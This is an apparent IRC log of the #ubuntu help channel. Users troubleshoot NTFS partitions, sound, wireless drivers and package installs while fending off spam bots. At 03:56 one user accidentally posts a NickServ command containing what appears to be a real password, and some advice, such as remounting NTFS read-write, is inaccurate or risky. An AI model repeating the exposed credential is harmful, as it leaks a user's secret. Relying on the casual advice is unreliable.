[03:36] <TylerE> cafuego: the characters I need are somewhat unusual and NOT in BS Vera
[03:36] <{GuNNeR}> cafuego: I know, however the 32 bit drivers don't work in 32 bit but the 64 do in 64 bit
[03:36] <carthik> Concord_Dawn, okay, great, search for what i suggested earlier.... minus the ssh
[03:37] <Concord_Dawn> rsync?
[03:37] <robotgeek> i find it hard to go understand the motive behind this attack!
[03:37] <Carpe_Libertatem> Christ. Why am I getting so much spam?
[03:37] <lexmark> how about these.. .i586.tar.bz2 packages? is it possible to install in Ubuntu?
[03:37] <carthik> Concord_Dawn, using rsync you can create rotating snapshot style backups that do no, afte rhte first, take up the entire space of whatever is being backed up
[03:37] <codecaine> Carpe_Libertatem, so am I!
[03:37] <NoUse> Carpe_Libertatem read the topic
[03:37] <Chadza> Anyone wanna reccomend a mp3 player w/ a library aside from rhythmbox?
[03:37] <robotgeek> Carpe_Libertatem: /umode +CE
[03:37] <apokryphos> ubotu: tell lexmark about spambots
[03:37] <ronald_> NoUse: Thank you. I have it set now
[03:37] <Carpe_Libertatem> Danke.
[03:37] <funkyHat> Carpe_Libertatem, read the channel topic, doing that should stop it
[03:37] <codecaine> ubotu: tell codecaine about spambots
[03:37] <carthik> Concord_Dawn, searching on google or del.icio.us would show you lots of articles...
[03:38] <Carpe_Libertatem> Can someone help me with my other problem please?
[03:38] <carthik> ubotu: tell me about spambots
[03:38] <gdarel> Amarok
[03:38] <NoUse> !anyone
[03:38] <ubotu> methinks anyone is 90% of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and YOU decide? <hint>
[03:38] <Carpe_Libertatem> I have a problem. I have a dual-boot system. On HDB, I have three partitions, an NTFS, a Swap, and An Ext2/3. I used a program to automatically mount all partitions, and now Windows sees HDB as one huge RAW disk.
[03:38] <Concord_Dawn> carthik, I want to backup to a USB harddrive.
[03:38] <carthik> Concord_Dawn, yes, dude... that is what i am talking about
[03:38] <lexmark> how about these.. .i586.tar.bz2 packages? is it possible to install in Ubuntu?
[03:38] <carthik> Concord_Dawn, do you want me to do the searching now? :)
[03:39] <gdarel> chadza: Amarok
[03:39] <codecaine> what is +CE ?
[03:39] <Concord_Dawn> ok
[03:39] <Concord_Dawn> just checking
[03:39] <Concord_Dawn> sorry
[03:39] <Concord_Dawn> :-P
[03:39] <carthik> lexmark, try looking for a .deb of the same thing :)
[03:39] <Chadza> gdarel, checking
[03:39] <HrdwrBoB> Concord_Dawn: only accept messages from logged in users
[03:39] <NoUse> Carpe_Libertatem does fdisk see it correctly?
[03:39] <carthik> Concord_Dawn, not a problem at all.
[03:39] <bimberi> !umode
[03:39] <ubotu> The freenode user modes are described at http://freenode.net/using_the_network.shtml
[03:39] <puzzle> hello
[03:39] <ronald_> Hello puzzle
[03:39] <puzzle> can someone help me put java on ubuntu
[03:40] <Carpe_Libertatem> NoUse: How do I check that?
[03:40] <NoUse> !tell puzzle about java
[03:40] <carthik> puzzle, look up the ubuntuguide.org guide...
[03:40] <NoUse> Carpe_Libertatem sudo fdisk -l /dev/hdb
[03:40] <ronald_> puzzle: Not to be rude but have you read the install guide for installing java?
[03:40] <carthik> ubotu tell puzzle about java
[03:40] <puzzle> i went there and had a problem
[03:40] <NoUse> !ubuntuguide
[03:40] <ubotu> I heard ubuntuguide is a set of instructions with no explanation. Please do not advise people to use ubuntuguide.  Advise https://wiki.ubuntu.com instead. The official FAQ Guide will be released with Breezy, stay tuned.
[03:40] <funkyHat> sorry, didn't notice NoUse had just done it puzzle
[03:40] <Carpe_Libertatem> NoUse - yep
[03:40] <carthik> puzzle, what problem was that?
[03:42] <kad2> hi all
[03:42] <puzzle> nvm i think i got it
[03:42] <puzzle> i fixed it
[03:42] <puzzle> whats the best music player for ubuntu
[03:42] <robotgeek> gr8!
[03:42] <kad2> does anyone know about wireless lan install using the ndiswrapper?
[03:42] <Carpe_Libertatem> NoUse: - it shows the NTFS as existing.
[03:42] <robotgeek> !ndiswrapper
[03:42] <ubotu> hmm... ndiswrapper is at https://wiki.ubuntu.com/HowToSetUpNdiswrapper
[03:43] <carthik> puzzle, use xmms, or music player... or beep... try them all and see what you like best
[03:43] <robotgeek> kad2: read that link
[03:43] <kad2> i am following the howto, but not sure how to get the windows drivers for the card
[03:43] <NoUse> Carpe_Libertatem and windows can't read any of those partitions?
[03:43] <robotgeek> kad2: get it from your drivers cd?
[03:43] <bwlang> what's with this webcamera spam... anybody know how to stop it?
[03:43] <kad2> i downloaded the linksys drivers... it has 2 .inf files, i have tried both, but it says both are invalid driver files....
[03:44] <Carpe_Libertatem> NoUse: right, the partition was unaltered and previously showed as drive D:, Drive D: is now one huge RAW disk that Windows wants me to format.
[03:44] <robotgeek> bwlang: /topic
[03:44] <dionysus> trying to install freeciv from source, I get complaints about it not being able to find gtk-config (locate can't find it either, so it really isn't on my system)...I've hit problems like this before and never really been able to find a way around them, don't spose anyone has any suggestions?
[03:44] <robotgeek> kad2: links on the ndiswrapper wiki?
[03:44] <ronald_> bwlang...type in /umode +CE
[03:44] <robotgeek> dionysus: mostly you would need to install the dev package, i guess
[03:44] <kad2> no, i dont see any that will give the drivers.. i know its a broadcom chip via using the show pci command
[03:45] <NoUse> Carpe_Libertatem did you resize the partition or anything?
[03:45] <dionysus> ah ok
[03:45] <kad2> the file on ndiswrapper just shows the card as a broadcom also
[03:45] <Carpe_Libertatem> NoUse: I said the partition was unaltered. =P
[03:45] <c0rrupt_> what is the command to reset alsa to release it from the process its currently being used from
[03:45] <c0rrupt_> ban neon
[03:45] <] BreliC[> hey, ASLI is one of the person i received spam from
[03:45] <c0rrupt_> spam bot
[03:45] <c0rrupt_> is neon
[03:46] <cafuego> ] BreliC[: register your nickname, then /umode +CE to stop the spam.
[03:46] <] BreliC[> thanks cafuego .. but shouldn't he/it be kicked from the channel?
[03:46] <c0rrupt_> yea
[03:46] <robotgeek> ] BreliC[: too many to kick
[03:46] <c0rrupt_> ban neon or w/e
[03:46] <Chadza> gdarel, Any non kde based?
[03:47] <NoUse> Carpe_Libertatem well chalk it up to Windows sucking I guess
[03:47] <c0rrupt_> what is the command to reset alsa to release it from the process its currently being used from
[03:47] <codecaine> i can still ctcp version myself, does +C just mean no one else can?
[03:47] <] BreliC[> i'll never understand spam... why on earth would I *ever* try/buy/visit/whatever something that comes from someone who annoys the hell out of me??
[03:47] <robotgeek> c0rrupt_: you can try to "sudo /etc/init.d/alsa restart"
[03:47] <kcidx> ok when i run xdriinfo i get this output Xlib:  extension "XFree86-DRI" missing on display ":0.0".
[03:47] <kcidx> libGL is too old.
[03:47] <kcidx>  any help with that? i'm using breezy and just ran the update and it banged my 3d all up
[03:48] <Carpe_Libertatem> NoUse: How can I format and make partitions in Ubuntu? I want to split the NTFS partition into two FAT32 partitions
[03:48] <nalioth> codecaine: the +C keeps unregisted users from CTCPing YOU (not protect you from yourself)
[03:48] <dcuny> Howdy! I'm having trouble installing Ubuntu onto an old Vaio laptop. I I think the issue has to do do with the libc library being compiled for a i686.
[03:48] <NoUse> Carpe_Libertatem qtparted is probably your best bet
[03:48] <robotgeek> Carpe_Libertatem: or gparted
[03:49] <codecaine> nalioth, You'll still receive CTCP messages sent to a channel you are on, although the network will block your response to them. "that's why i say that"
[03:49] <pepe> hey
[03:50] <Chadza> How do I view video files when I can't get wmp on firefox?
[03:50] <pepe> I need help installing a .deb package
[03:50] <nate_> Does anyone know how to encode multiple files at a time with LAME? I've been encoding one at a time, at it takes too long XD
[03:50] <pepe> I did sudo dpkg -i
[03:50] <pepe> but the program won't work
[03:50] <overflow> Guys .. this Ubuntu Is getting better and better since the last time I used.
[03:50] <codecaine> nalioth, how do u ctcp a channel?
[03:50] <unvs_> yeah, hoary is really nice
[03:50] <ronald_> I'm really liking it overflow.
[03:51] <ronald_> I like FC4 and Ubuntu but I find myself spending more time in Ubuntu.
[03:51] <overflow> One question, Why amsn still in Universe and It is not part of official Hoary repository?
[03:51] <moparfan90> hello. can someone help me install limewure
[03:51] <unvs_> gentoo gets to involved for me :)
[03:51] <pepe> anyways
[03:52] <ronald_> ...takes 3 days to install Gentoo =/
[03:52] <nalioth> codecaine: idk, but i do know you can automate a ctcp to all users on the channel
[03:52] <pepe> I downloaded a skype .deb package
[03:52] <Chadza> !win32codecs
[03:52] <ubotu> Chadza: Syntax error in line 1
[03:52] <carthik> ronald_, and a LUG too.... :)
[03:52] <pepe> I did sudo dpkg -i skype*
[03:52] <Concord_Dawn> !w32codecs
[03:52] <funkyHat> overflow, is that a problem? it still works doesn't it?
[03:52] <pepe> and it seems to install well
[03:52] <pepe> except it doesn't run
[03:52] <Carpe_Libertatem> NoUse: Also, do you know the app that automatically mounts NTFS/FAT32 partitions?
[03:52] <carthik> pepe, it has some dependencies...
[03:52] <codecaine> nalioth, ok just confused because i dont know what the "channel ctcp" is all about
[03:52] <flugh> good grief, the spam. gotta get xchat to set the umode automatically on connect. yeesh, ought to just join efnet or something :)
[03:52] <pepe> says there's an error loading shared libraries libqt-mt
[03:52] <overflow> funkyHat, nobody says that was a problem
[03:53] <pepe> I'm guessing I need to apt-get qt?
[03:53] <pepe> geez, this channel's swarming with porn bots
[03:53] <carthik> pepe- install lib-qt-mt3 i guess...
[03:53] <unvs_> yeh
[03:53] <Arsonide> Hey I used Synaptic to download "3ddesktop", just interested in how it looks, but how do I activate it now? It installed...
[03:53] <funkyHat> pepe, /umode +CE (as the topic says)
[03:53] <carthik> pepe no, lib-qt-mt3-dev or something.... try searching in synaptic...
[03:53] <overflow> funkyHat, In fact, Im asking coz maybe you need help to maintain that package or something
[03:54] <intelikey> what's with this "[mango(n=^ece^@200.92.67.63)]  Free WebCamera Sex Movie For sign  ... [yalniizM(n=erzuruml@81.214.94.129)]  Free WebCamera Sex Movie For sign "   repeeting over and over.... ?
[03:54] <carthik> Arsonide.... type 3ddesktop & at a terminal... your video card shoudl support 3dfx though....
[03:54] <NoUse> !tell Carpe_Libertatem about ntfs
[03:54] <bimberi> Arsonide: type "3ddesk" in a terminal
[03:54] <carthik> 3desk, sorry :|
[03:54] <carthik> 3ddesk, i mean
[03:54] <carthik>  /mode --no-verbose...
[03:55] <bimberi> and carthik's & is a good idea :)
[03:55] <Arsonide> WOW, NICE.
[03:55] <Arsonide> lol
[03:55] <funkyHat> :D <3 3ddesktop
[03:55] <Arsonide> Now how do I tie that in with the existing browser?
[03:55] <linuxpoet> o.k. ubuntu is now my default desktop **IF** I can find a way to rip mp3s
[03:55] <intelikey> are there any ircops around ?
[03:56] <ronald_>  /msg nickserv link ronald n6358352
[03:56] <carthik> linuxpoet, many ways.... searching on google will lead you the right way
[03:56] <robotgeek> intelikey: read /topic
[03:56] <funkyHat> Arsonide, right click on your gnome panel (where you want the button to go, mine is next to my VDM buttons) and click add applet, make it a launcher
[03:56] <Chadza> Applications / Sound & Video / Sound Juicer CD Ripper
[03:56] <Chadza> Check that one out.
[03:56] <pepe> linuxpoet - debian has a godlike package database, do a search in synaptik... I'm guessing it'll be one of KDE's apps, though
[03:56] <Paradoxx> they need to update the package they have for gaim
[03:57] <Paradoxx> so i can get the latest version...
[03:57] <Paradoxx> lol
[03:57] <Concord_Dawn> anyone know any NTFS drivers that allow you to write?
[03:57] <Concord_Dawn> I don't care how experimental they are.
[03:57] <moparfan90> is there a way to report people sendin porn?
[03:57] <moparfan90> to get them banned?
[03:57] <bimberi> Paradoxx: backports has later versions of gaim
[03:57] <intelikey> robotgeek yeah what about the topic ?
[03:57] <pepe> moparfan90 /umode +CE
[03:57] <robotgeek> intelikey: to get rid of the spambots
[03:57] <pepe> that'll get rid of them
[03:58] <Paradoxx> Concord_Dawn:  if i recall correctly, if you have 2.4+ (kernel that is) you can write to NTFS partitions, but its not all that safe
[03:58] <Paradoxx> it does?
[03:58] <Concord_Dawn> not afaik.
[03:58] <moparfan90> okt thanks
[03:58] <pepe> I thought only 2.6+ kernels could write NTFS
[03:58] <pepe> and they can't edit, only overwrite
[03:58] <Paradoxx> bimberi:  but when i try to apt-get, i can get it
[03:58] <Concord_Dawn> tbh, I have kernel 2.6.11
[03:58] <moparfan90> can someone help me install limewire? please.
[03:58] <Concord_Dawn> and it don't write.
[03:58] <bimberi> Paradoxx: gaim 1.4 iirc
[03:58] <Paradoxx> Concord_Dawn: you gotta mount it as a -rw i think
[03:58] <funkyHat> moparfan90, sudo apt-get install gtk-gnutella
[03:58] <intelikey> hehhe yeah i missed that line    sorry.
[03:58] <Concord_Dawn> erm
[03:58] <dcuny> what's the question about installing limewire?
[03:58] <Paradoxx> bimberi: huh?
[03:59] <Concord_Dawn> It's an external drive
[03:59] <pepe> edit your fstab
[03:59] <pepe> /etc/fstab
[03:59] <pepe> and where under options for your NTFS partition, put rw
[03:59] <pepe> or -rw
[03:59] <moparfan90> funkyHat, whats that?
[03:59] <pepe> or something like that
[03:59] <pepe> hehehe ^^
[03:59] <pepe> same thing
[03:59] <pepe> it should have a device name
[03:59] <{GuNNeR}> grrrrrrr darn having to install 64 bit ubuntu only to get my wifi workin in ndiswrapper
[03:59] <bimberi> paradox iirc = "if I recall correctly" (if that was what huh? was related to)
[04:00] <pepe> you could add it to fstab or just do mount -rw /dev/(device name)
[04:01] <dcuny> Hrm... I
[04:01] <intelikey> new kernel support ntfs rw mode ?
[04:01] <Paradoxx> bimberi: i kno that 1.4 is the laterst version, but atm i have 1.1.5 and it won't update
[04:01] <funkyHat> Arsonide, you got that working?
[04:01] <Paradoxx> everytime i try to update gaim it says that it is held back
[04:01] <Concord_Dawn> herm
[04:01] <dcuny> I've having trouble installing onto an older laptop. Any takers?
[04:01] <{GuNNeR}> is anyone here running ubuntu for amd64?
[04:01] <Concord_Dawn> can someone tell me where external devices are?
[04:02] <Concord_Dawn> and not /media
[04:02] <Concord_Dawn> the /dev name
[04:02] <jtan325> argh i am getting spammed
[04:02] <Concord_Dawn> if there is one.
[04:02] <jtan325> when i close #ubuntu, no more spam
[04:02] <funkyHat> jtan325, /umode +CE
[04:02] <Paradoxx> !wiki
[04:02] <jtan325> what does that mean?
[04:02] <funkyHat> do that, in here, it will stop the spammers
[04:02] <bimberi> Paradoxx: ok - the official backports has 1.3.1
[04:03] <Arsonide> Ok I see, 3ddesk --goto # will go to the correct desktop, can I tie these commands to the buttons in the bottom right?
[04:03] <ronald_> How about /mnt?
[04:03] <Arsonide> So that pressing them does the effect?
[04:03] <Paradoxx> when i try to update it dosen't
[04:03] <Paradoxx> y is that?
[04:03] <pepe> hmm
[04:03] <pepe> so sound doesn't seem to work at all for me...
[04:03] <] BreliC[> Concord_Dawn, /dev/sdX ?
[04:03] <gdarel> Can someone help figure out what I need to do to intall/convert an RPM fle
[04:03] <funkyHat> Arsonide, not the desktop switcher applet, but you could make your own set of buttons for it
[04:03] <] BreliC[> Concord_Dawn, my card reader and external drives mount as /dev/sda, etc
[04:03] <Arsonide> ah, so I can't tie it in seamlessly with ubuntu
[04:04] <kelly_> hello ppl...
[04:04] <funkyHat> Arsonide, not with the desktop switcher applet no
[04:04] <intelikey> pepe not muted is it ?
[04:04] <pepe> nope
[04:04] <pepe> checked alsamixer
[04:04] <kelly_> please help me install my modem in my laptop..using ubuntu..
[04:04] <funkyHat> (you can remove that applet if you wish to just have a row of 3ddesk launchers)
[04:04] <pepe> ended up unmuting everything to make sure, everything's at decent levels, as well
[04:04] <ronald_> gdarel: read here for converting: http://www.linuxdocs.org/HOWTOs/RPM-for-Unix-HOWTO-8.html
[04:04] <Parisi> I wiped mbr and with that lilo/grub, so i can only boot XP at the moment, whats an easy way to re install a boot loader?
[04:05] <gdarel> thanks
[04:05] <bimberi> Paradoxx: put your sources.list on a pastebin
[04:05] <Parisi> eccem is spamming
[04:05] <intelikey> speakers plugged in propperly ?
[04:05] <kelly_> please help me install my modem in my laptop..using ubuntu..:(
[04:05] <pepe> yup
[04:05] <kelly_> im a newbe..
[04:05] <carthik> Concord_Dawn, an easy way to find out is to plug in the external device and immediately after, trype "dmesg" in a terminal, and then to read the output....
[04:05] <pepe> unplugged them, tested them on another box, plugged them back in
[04:05] <pepe> no sound
[04:05] <jsubl2> kelly_, https://wiki.ubuntu.com/?action=fullsearch&context=180&value=modem&titlesearch=Titles
[04:06] <kelly_> jsubl2: thanks for the link..'
[04:06] <Webby`> Help! I can't get embedded video to work. I get a black screen with the tottem controls at the bottom
[04:07] <pepe> Ubuntu uses OSS as default? what?
[04:07] <enchanter> it use OSS as default
[04:07] <pepe> ...
[04:07] <pepe> that's silly
[04:07] <pepe> even so, it still doesn't work
[04:08] <funkyHat> enchanter, no it doesn't
[04:08] <intelikey> pepe try "play <some_audio_file> "  and see if it errors
[04:08] <funkyHat> it uses esd on top of alsa
[04:08] <Gazer_> Hi.. I'm new to Hoary.. How do you make changes to the boot up kernel arguments on a PPC (G3)?  I see no GRUB menu at bootup as explained in the howtos..
[04:08] <pepe> if I had any audio files at hand I would
[04:08] <enchanter> funkyHat, But it is on my laptop
[04:08] <funkyHat> did you upgrade from warty?
[04:09] <pepe> I just installed this, and I have no mp3's at hand :P
[04:09] <intelikey> pepe then how do you know it is not working ?
[04:09] <Parisi> Is there an easy way to rebuild the bootloader after the mbr has been wiped?
[04:09] <funkyHat> * enchanter
[04:09] <Webby`> anyone?
[04:09] <pepe> I'm trying out a program that should give me some sound
[04:09] <pepe> namely skype ^^
[04:09] <bmecoli-> synaptic won't run... it prompts ofr password, then it does nothing.... no errors... nothing
[04:09] <stoeptegel> can someone tell me why my sata drives aren't accessible in kubunu-live?
[04:09] <intelikey> pepe "find /usr -name *.au "  and see if you have an audio file you can test with
[04:09] <funkyHat> pepe, try opening a terminal and typing killall esd
[04:10] <funkyHat> and then launch sype again
[04:10] <Concord_Dawn> ok
[04:10] <enchanter> if you like. you can try this cnspy.bokee.com to find something about the ESD
[04:10] <Concord_Dawn> I can't mount my NTFS drive as rw
[04:10] <seth_k> Concord_Dawn, writing to NTFS drives is not supported except with (buggy) software that is not included with Ubuntu; you'd have to install it yourself
[04:10] <bmecoli-> Concord_Dawn, you don't want to from what I heard
[04:11] <bmecoli-> if you could writing to it would corrupt your data
[04:11] <seth_k> Concord_Dawn, it's very easy to hose your system.
[04:11] <funkyHat> pepe, if that fixes it, upgrading to alsa 1.0.9b should fix your problem
[04:11] <intelikey> funkyHat pepe i didn't mean to be butting in there. yall go ahead.
[04:11] <kelly_> when i tried to set up my internal modem in a laptop...it can not be detected... what shall i do?
[04:11] <pepe> heh that's alright :P
[04:11] <Concord_Dawn> well
[04:11] <Webby`> HELP! How do I get embedded video ro work? All I get is a black box with totem controls at the bottom
[04:11] <Concord_Dawn> I want to rsync to my external HDD, which is formatted in NTFs
[04:12] <ttyS0> !wallpapers
[04:12] <ubotu> ttyS0: What?
[04:12] <pepe> I'll be back in a sec...
[04:12] <kelly_> when i tried to set up my internal modem in a laptop...it can not be detected... what shall i do? im a newbee,,,, please help,,
[04:12] <dcuny> stoeptegel, by default all the "real" drives are hidden under the live cd. I assume Hubuntu is similar.
[04:12] <Parisi> Stupid spammers!
[04:12] <Gazer_> Hello?
   last i knew, linux still doesn't support rw mode for ntfs,  or but no rw
[04:12] <bmecoli-> wait... I think I know now
[04:12] <Concord_Dawn> argh
[04:12] <bmecoli-> it might still be locked
[04:12] <bmecoli-> dur
[04:13] <Concord_Dawn> well, I want to backup Ubuntu!
[04:13] <Webby`> no one wants to help me?
[04:13] <Concord_Dawn> And I can't do that without my external.
[04:13] <Parisi> Is there a way to only have registered nicknames be able to private msg me?
[04:13] <Concord_Dawn> yes.
[04:13] <Concord_Dawn> Parisi, /umode +CE
[04:13] <dcuny> There's a script somewhere that let's you automatically set them up under the live cd, but I don't know what it is...
[04:13] <Parisi> Thank you!
[04:13] <dcuny> Let me look...
[04:13] <Parisi> Stupid spammers
[04:13] <spiderworm> hey all what's the trick to silence the spammers again?
[04:13] <intelikey> sure Webby` i just don't know anything about your problem.
[04:13] <bmecoli-> shouldn't someone report them?
[04:13] <Parisi> /umode +CE does not work
[04:13] <bmecoli-> and have their ip address klined?
[04:13] <Carpe_Libertatem> How do I unmount a partition?
[04:13] <spiderworm> bmecoli-: you really think they're humans?
[04:14] <dennis_> WTF
[04:14] <Webby`> intellikey: I'm trying to make embedded video work from launch.com
[04:14] <funkyHat> Carpe_Libertatem, umount
[04:14] <spiderworm> bmecoli-: that might work actually
[04:14] <dennis_> Why did I get like 200000 pms
[04:14] <dennis_> of spam
[04:14] <kelly_> when i tried to set up my internal modem in a laptop...it can not be detected... what shall i do? im a newbee,,,, please help,,
[04:14] <dcuny> Try the script at:www.ubuntulinux.nl/files/winmac_fstab
[04:14] <dennis_> from this server?
[04:14] <ronald_> Concord_Dawn: If you happen to have a copy of Ghost laying around it makes great backups
[04:14] <Webby`> intellikey: And all I get is a black box
[04:14] <Concord_Dawn> ronald_, I need NTFS WRITE SUPPORT!
[04:14] <Webby`> intellikey: I tried using the HOWTO from the forum and followed the directions but it doesn't work
[04:14] <ronald_> I used Ghost for NTFS and Raw
[04:14] <intelikey> yes Webby`  i read that.  but i still don't know anything about it...  :/
[04:15] <Carpe_Libertatem> So to unmount /dev/hdb1, an ntfs drive, I'd type...
[04:15] <bmecoli-> holy fuck another one
[04:15] <Webby`> oh
[04:15] <funkyHat> umount /dev/hdb1
[04:15] <Concord_Dawn> Carpe_Libertatem, umount /dev/hdb1
[04:15] <funkyHat> (yes, i spelled the command right ;))
 Free WebCamera
[04:15] <Parisi> How the hell to i block that?
  umount /dev/hdb1
[04:15] <Parisi> Its getting on my nerves guys
[04:15] <funkyHat> Parisi, /umode +CE
[04:15] <nalioth> f***ING hardware shite
[04:16] <funkyHat> Parisi, it's in the channel topic
[04:16] <Parisi> UMODE Unknown command
[04:16] <lunitik> funkyHat, XChat knows about /umode?
[04:16] <bmecoli-> you could ignore all... but that means that no one else can send you a msg
[04:16] <funkyHat> lunitik, does here
[04:16] <Parisi> I am under MIRC
[04:16] <Concord_Dawn> Parisi, do /mode Parisi +CE in your status window then.
[04:16] <funkyHat> if not then try /raw umode +CE
[04:16] <lunitik> Parisi, /mode <your_username> +CE
[04:16] <gdarel> How do I install a Deb file?
[04:16] <Parisi>  * Parisi sets mode: +CE got it
[04:16] <funkyHat> or that ^
[04:16] <Parisi> Thanks guys
[04:17] <lunitik> Parisi, good job
[04:17] <funkyHat> gdarel, sudo dpgk -i package.deb
[04:17] <lunitik> Parisi, you're welcome
[04:17] <Concord_Dawn> ronald_, mind pointing me to an old copy of ghost?
[04:17] <gdarel> THANKS!
[04:17] <dcuny> I've got a question about installing Ubuntu on non-i686 hardware...
[04:17] <funkyHat> np
[04:17] <lunitik> !tell ops to change /umode +CE to /mode <username> +CE in topic ... all clients support this.
[04:18] <funkyHat> good call lunitik
[04:18] <lunitik> cafuego, no way to make the bot tell the bots something?
[04:18] <Concord_Dawn> indeed
[04:18] <Parisi> Agreed
[04:18] <lunitik> cafuego, no way to make the bot tell the ops something?
[04:18] <Concord_Dawn> jsut msg Seveas.
[04:18] <Concord_Dawn> just*
[04:18] <lunitik> Concord_Dawn, rather not... me and Seveas don't exactly get along...
[04:18] <Parisi> Is there an easy way to rebuild the bootloader after the mbr has been wiped accidently?
[04:18] <Concord_Dawn> I'll msg then.
[04:19] <lunitik> Concord_Dawn, plus it appears he's not online....
[04:19] <gdarel> funkyhat, when I type sudo dpgk -i cinelerra_1.2.2-2_i386.deb I get a comand not found
[04:19] <Concord_Dawn> true.
[04:19] <lunitik> gdarel, dpkg
[04:19] <Concord_Dawn> leave him a memo then.
[04:19] <funkyHat> dpkg
[04:19] <funkyHat> sorry if that was my typo
[04:19] <funkyHat> yeah, it was, oops
 How do I install a Deb file?what you were told works but you might consider using apt-get insted,  read up on it "man apt-get"
[04:20] <ronald_> bye guys... got to run.
[04:20] <Concord_Dawn> [22:20:03] -MemoServ- [Seveas]  is rejecting all memos
[04:20] <Concord_Dawn> well how f***ing nice
[04:20] <lunitik> haha
[04:20] <lunitik> Who else is an op in here?
[04:20] <kelly_> hello...ppl..when i tried to set up my internal modem in a laptop...it can not be detected... what shall i do? im a newbee,,,, please help,,
[04:20] <Concord_Dawn> dunno
[04:20] <Carpe_Libertatem> I am trying to delete and format an NTFS partition. I am getting errors using qtparted.
[04:20] <bimberi> !tell lunitik about ops
[04:21] <Carpe_Libertatem> No Implementation: Support for opening ntfs file systems is not implemented yet.
[04:21] <Carpe_Libertatem> Error: Filesystem was not cleanly unmounted!  You should e2fsck.  Modifying an u nclean filesystem could cause severe corruption.
[04:21] <nalioth> Carpe_Libertatem: you are using the wrong tool, use cfdisk or fdisk instead
[04:22] <Carpe_Libertatem> nalioth, so what do I do if I want to delete the partition /dev/hdb1 ?
 I am trying to delete and format an NTFS partition. <---- i'm not sure i follow you.  are you trying to delete the partition, or format the partition ?   because if you delete a partition there is nothing there to format....
[04:22] <Parisi> brb
[04:22] <dcuny> Anyone (help on installing on non-i686 hardware)? Beuller?
[04:23] <dcuny> *sigh*
[04:23] <nalioth> Carpe_Libertatem: use fdisk or cfdisk and have them do it for you
[04:24] <fridim> hi
[04:24] <pepe> well, that didn't work
[04:24] <pepe> I downloaded a wav file
[04:24] <pepe> I also tried that music player program, and turned on one of the radio station
[04:24] <CarlFK> HP print/scan/fax thing bought new in the last year (don't know the model) - what are the chances of it showing up under "new printer/detected printers"?
[04:25] <lunitik> pepe, you have gstreamer0.8-mad installed?
[04:25] <pepe> Volume Meter shows that there is, in fact, some form of sound going on, but my headphones aren't working
[04:25] <fridim> i've just installed ubuntu. During the installation it didn't ask me a root password. How can i do now ?
[04:25] <pepe> hm, I'll apt-get it, one sec
[04:25] <lunitik> pepe, wait... thats not for wav files
[04:25] <pepe> ah roger...
[04:25] <lunitik> pepe, yeah... you should get it anyways... mp3 support
[04:25] <pepe> k
 usb devices ?
[04:25] <puzzle> hello
[04:26] <CarlFK> intelikey - huh?
[04:26] <puzzle> does anyone know how i run batch files on ubuntu
[04:26] <CarlFK> hi puzzle
[04:26] <pepe> it does seem like a hardware problem
[04:26] <bimberi> CarlFK: I've got printing and scanning on my HP multifunction, let me find that page...
[04:26] <pepe> but debian worked with sound just fine before I installed Ubuntu on this box
[04:26] <lunitik> puzzle, batch files... as it .BAT? you don't
[04:26] <puzzle> u cant
[04:26] <CarlFK> all I (er, friend on the phone) needs is print
[04:26] <puzzle> u cant rune .bat
[04:26] <puzzle> run .bat
[04:27] <pepe> wine *.bat ^^
[04:27] <nalioth> puzzle: they are called 'scripts' and you run them from a terminal like so "./scriptname" or "sh scriptname"
[04:27] <puzzle> well i am trying to run a client
[04:27] <Carpe_Libertatem> nalioth, how do I point cfdisk to /dev/hdb - right now it's on /dev/hda
[04:27] <bimberi> CarlFK: https://wiki.ubuntu.com/HpPscHpPhotosmartSeriesAllInOnePrinters
[04:27] <CarlFK> puzzle - you can run "bash scripts" which is like a "dos .bat file"
[04:27] <intelikey> puzzle make them executable
[04:27] <nalioth> Carpe_Libertatem: start it with "sudo cfdisk /dev/hdb"
[04:27] <CarlFK> bimberi - thanks
[04:27] <puzzle> well wait what i mean is i have a java files
[04:27] <puzzle> and i want to run them with the cleitn
[04:27] <puzzle> client
[04:28] <puzzle> how
[04:28] <puzzle> i have all the .class files
[04:28] <puzzle> who will let me show them or something
[04:28] <bimberi> CarlFK: yw :)
[04:28] <bmecoli-> damn
[04:28] <bmecoli-> still doesn't want to run
[04:28] <nalioth> puzzle: see the /topic re pastebins or #flood
[04:28] <bmecoli-> whyyyyyyyyy?
[04:29] <pepe> so, anyone else got any ideas about how to get sound working properly?
[04:29] <puzzle> no basicly i have .class files for a game client and i want to run them and on windows u use client.bat
[04:29] <puzzle> so how would i run them
[04:29] <pepe> it seems like Ubuntu just isn't working properly with my onboard sound card
[04:29] <XRange> anyone got Minolta 2430 dl printing in evolution & mozilla-firefox
[04:29] <mebaran151> why does everyone give abiword such a bad rap
[04:30] <mebaran151> it seems like a decent wordprocessor for all my work, and relatively well integrated too
[04:30] <paulw> pepe, i feel ya man
[04:30] <puzzle> who wants to help m
[04:30] <paulw> pepe, same here, what chipset do you have?
[04:30] <pepe> 0000:00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT8233/A/8235/8237 AC97 Audio Controller (rev 60) <-- that's the card
[04:30] <pepe> it's an onboard one
[04:30] <puzzle> i have that one
[04:30] <puzzle> lol
[04:30] <pepe> funny, since VIA AC97 is pretty much what most people out there have :-\
[04:30] <Jazy84> hey guys i got a question for you guys.
[04:30] <puzzle> so who can help me
[04:31] <Jazy84> how can i find out what the path is to my external dvd burner
[04:31] <puzzle> run the java class files
[04:31] <glauc> oh man it looks like the wrong night for me to ask for help
[04:31] <pepe> puzzle, do you have jre?
[04:31] <paulw> anyone know how to manually setup a card that is obviosly recognized by the OS yet doesn't put out any sound for some reason?
[04:31] <puzzle> yes
[04:31] <Jazy84> when i plug it in i can see it and i can use it but i need to know the specfic path..
[04:31] <Jazy84> and ideas?
[04:31] <glauc> how do I make my Intel 82915G built-in driver compile?
[04:31] <bimberi> pepe, paulw: have you tried this (it worked for me on two different PCs with onboard sound - easily undone if it doesn't work) - http://ubuntuforums.org/showpost.php?p=19639&postcount=8
[04:32] <puzzle> well who can help
[04:33] <pepe> bimberi I'll give that a shot...
[04:33] <intelikey> paulw run alsamixer  as root and unmute it.
[04:33] <puzzle> ...
[04:33] <bimberi> pepe: hope it helps :)
[04:33] <puzzle> anyone
[04:33] <nate_> Does anyone know of an ISO creator for Linux?
[04:33] <paulw> intelikey, not muted
[04:33] <intelikey> mkiso :)
[04:34] <paulw> intelikey, alsamixer looks goos
[04:34] !lilo:*! Possible server splits may follow. Please bear with us.
[04:34] <puzzle> http://img121.imageshack.us/my.php?image=screenshot4is.png
